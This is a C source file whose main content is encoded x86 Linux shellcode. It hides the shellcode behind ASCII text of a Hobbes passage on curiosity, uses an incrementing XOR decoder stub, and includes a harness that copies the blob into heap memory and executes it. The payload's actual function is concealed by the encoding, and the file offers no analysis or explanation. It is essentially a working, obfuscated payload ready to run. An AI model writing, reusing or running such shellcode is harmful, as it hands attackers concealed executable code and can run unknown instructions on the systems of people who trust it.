#include <stdio.h>
#include <stdlib.h>
#include <string.h>

	__asm__( 
		"# ia32/linux                                                           \n"
		"sc_start:                                                              \n"
		".ascii         \"_DESIRE__TO_KNOW_WHY_AND_HOW__\" \"CURIOSITY\"        \n"
		".ascii         \"__SUCH_AS_IS_IN_NO_LIVING_CREATURE_\"                 \n"
		".ascii         \"BUT_\" \"MAN\" \"__SO_THAT_MAN_IS_DISTINGUISHED_\"    \n"
		".ascii         \"NOT_ONLY_BY_HIS_REASON_BUT_ALSO_BY_THIS_SINGULAR\"    \n"
		".ascii         \"_PASSION_FROM_OTHER_\"   \"ANIMALS\"                  \n"
		".ascii         \"__IN_WHOM_THE_APPETITE_OF_FOOD__AND_OTHER_PLEASURES\" \n"
		".ascii         \"_OF_SENSE__\"                                         \n"
		".ascii         \"BY_PREDOMINANCE_TAKE_AWAY_THE_CARE_OF_KNOWING_CAUSES\"\n"
		".ascii         \"__WHICH_IS_A_LUST_OF_THE_MIND__\"                     \n"
		".ascii         \"THAT_BY_A_PERSEVERANCE_OF_DELIGHT_IN_THE_CONTINUAL_\" \n"
		".ascii         \"AND_INDEFATIGABLE_\"                                  \n"
		".ascii         \"GENERATION_OF_KNOWLEDGE_EXCEEDETH_\"                  \n"
		".ascii         \"THE_SHORT_VEHEMENCE_OF_ANY_CARNAL_PLEASURE_\"         \n"
		"jmp  .+0x14                                                            \n"
		"xor  %ecx, %ecx                                                        \n"
		"xor  %ebx, %ebx                                                        \n"
		"movb $0x33, %cl                                                        \n"
		"movb $0x41, %bl                                                        \n"
		"pop  %eax                                                              \n"
		"push %eax                                                              \n"
		"xor  %bl, (%eax)                                                       \n"
		"inc  %bl                                                               \n"
		"inc  %eax                                                              \n"
		"loop .-0x05                                                            \n"
		"ret                                                                    \n"
		"call .-0x12                                                            \n"
		".ascii \"\\x14\\xcb\\xa6\\x75\\x85\\x77\\x9c\\x79\\x9b\"               \n"
		".ascii \"\\x19\\x23\\x27\\x28\\x3c\\x45\\x38\\x71\\x3a\"               \n"
		".ascii \"\\x32\\x37\\x3d\\x22\\x3f\\x3d\\x2b\\x32\\x7b\"               \n"
		".ascii \"\\x3d\\x33\\x31\\x37\\x0a\\x14\\x11\\x17\\xed\"               \n"
		".ascii \"\\x84\\xd4\\x73\\xd8\\x6d\\xa7\\xeb\\x5d\\xad\"               \n"
		".ascii \"\\xde\\x6e\\xbd\\xf1\\xbb\\xb0\"                              \n"
		"sc_end:                                                                \n"

	);
	
	int
	main(void) {

		extern unsigned char sc_start, sc_end;
		size_t sc_len;
		void   (*exec_fptr)()   = NULL;
		unsigned char *sc_ptr   = NULL;

		sc_len = &sc_end - &sc_start;

		sc_ptr = calloc(sc_len, (size_t)1);


		if (NULL == sc_ptr) {
			perror("calloc()");
			return EXIT_FAILURE;
		}

		memcpy(sc_ptr, &sc_start, sc_len);
		exec_fptr = (void *)sc_ptr;
		exec_fptr();
		return EXIT_SUCCESS;             
	}